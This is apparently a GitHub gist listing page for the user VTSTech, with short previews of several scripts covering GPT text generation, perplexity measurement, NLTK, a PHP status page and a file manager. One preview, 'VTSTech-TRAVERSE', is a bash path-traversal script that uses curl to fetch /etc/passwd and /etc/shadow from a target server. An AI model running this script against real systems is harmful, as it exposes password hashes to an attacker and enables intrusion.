This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| #!/usr/bin/env python3 | |
| """GLM-5 File Manager Panel v1.31 for z.ai by VTSTech""" | |
| # | |
| # ╔══════════════════════════════════════════════════════════════════════════════╗ | |
| # ║ TO RUN THIS FILE MANAGER: ║ | |
| # ║ ║ | |
| # ║ 1. Start the server: ║ | |
| # ║ python3 GLM-FileManager.py & ║ | |
| # ║ ║ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # -*- coding: utf-8 -*- | |
| import os, sys, warnings, logging, argparse, time, multiprocessing | |
| # --- 1. ENVIRONMENT & PERSISTENT CACHE SETUP --- | |
| # These MUST be set before torch is imported to catch low-level kernels | |
| os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # Force CPU | |
| os.environ["TORCHINDUCTOR_FX_GRAPH_CACHE"] = "1" | |
| os.environ["TORCHINDUCTOR_CACHE_DIR"] = os.path.abspath("./models/pt_inductor_cache") | |
| os.environ["TRITON_CACHE_DIR"] = os.path.abspath("./models/pt_triton_cache") | |
| os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Moved to https://github.com/VTSTech/VTSTech-GPTBench |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <!-- If you get /dev/vcio error then 'sudo usermod -aG video www-data' --> | |
| <?php | |
| // Handle theme selection and refresh rate from GET parameters | |
| $isDarkMode = isset($_GET['dark_mode']) ? ($_GET['dark_mode'] === 'on') : true; // Default to dark mode | |
| $refreshRate = isset($_GET['refresh_rate']) && is_numeric($_GET['refresh_rate']) ? (int)$_GET['refresh_rate'] : 10; // Default to 10 seconds | |
| // Define styles for light and dark themes | |
| if ($isDarkMode) { | |
| $bgColor = '000000'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| echo "VTSTech-TRAVERSE v0.3 - www.vts-tech.org" | |
| IP="$1" | |
| PORT="$2" | |
| OUTPUT_DIR=$(pwd) | |
| TRAVERSE="../../../../../../../../../../../../../../../../../../../.." #modify as needed | |
| PARAMS="/" #modify as needed | |
| curl --output-dir $OUTPUT_DIR --create-dirs --path-as-is http://$IP:$PORT$PARAMS$TRAVERSE/etc/passwd -o ./etc/passwd | |
| curl --output-dir $OUTPUT_DIR --create-dirs --path-as-is http://$IP:$PORT$PARAMS$TRAVERSE/etc/shadow -o ./etc/shadow | |
| curl --output-dir $OUTPUT_DIR --create-dirs --path-as-is http://$IP:$PORT$PARAMS$TRAVERSE/etc/aliases -o ./etc/aliases |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ### Keybase proof | |
| I hereby claim: | |
| * I am VTSTech on github. | |
| * I am vtstech (https://keybase.io/vtstech) on keybase. | |
| * I have a public key whose fingerprint is 008C AB70 8D0F F529 C091 26BC 53D6 76EE 6E7D 4CCC | |
| To claim this, I am signing this object: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Program: VTSTech-PERP.py 2023-04-17 6:14:21PM | |
| # Description: Python script that computes perplexity on GPT Models | |
| # Author: Written by Veritas//VTSTech (veritas@vts-tech.org) | |
| # GitHub: https://github.com/VTSTech | |
| # Homepage: www.VTS-Tech.org | |
| # Use a 'train.txt' for it to predict with. Any large english text will do | |
| # pip install torch argparse transformers colorama | |
| import torch | |
| import argparse | |
| import time |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Program: VTSTech-GPT.py 2025-01-28 1:02:59 PM | |
| # Description: Python script that generates text with Cerebras GPT pretrained and Corianas finetuned models | |
| # Author: Written by Veritas//VTSTech (veritas@vts-tech.org) | |
| # GitHub: https://github.com/VTSTech | |
| # Homepage: www.VTS-Tech.org | |
| # Dependencies: transformers, colorama, Flask | |
| # pip install transformers colorama flask | |
| # Models are stored at C:\Users\%username%\.cache\huggingface\hub | |
| import argparse | |
| import time |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Moved to GitHub https://github.com/Veritas83/VTSTech-COVID19.py |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #NLTK Script v0.43 2020-03-14 12:16:31 AM | |
| #Written by VTSTech (veritas@vts-tech.org) | |
| #Various functions inspired by code from sentdex/pythonprogramming.net | |
| #https://pythonprogramming.net/tokenizing-words-sentences-nltk-tutorial/ | |
| #Various functions inspired by code from Natural Language Processing with Python | |
| #by Steven Bird, Ewan Klein and Edward Loper - http://www.nltk.org/book/ch01.html | |
| import sys, nltk, os, string, random | |
| from nltk import pos_tag | |
| from nltk.tokenize import sent_tokenize, word_tokenize, SpaceTokenizer, PunktSentenceTokenizer |
NewerOlder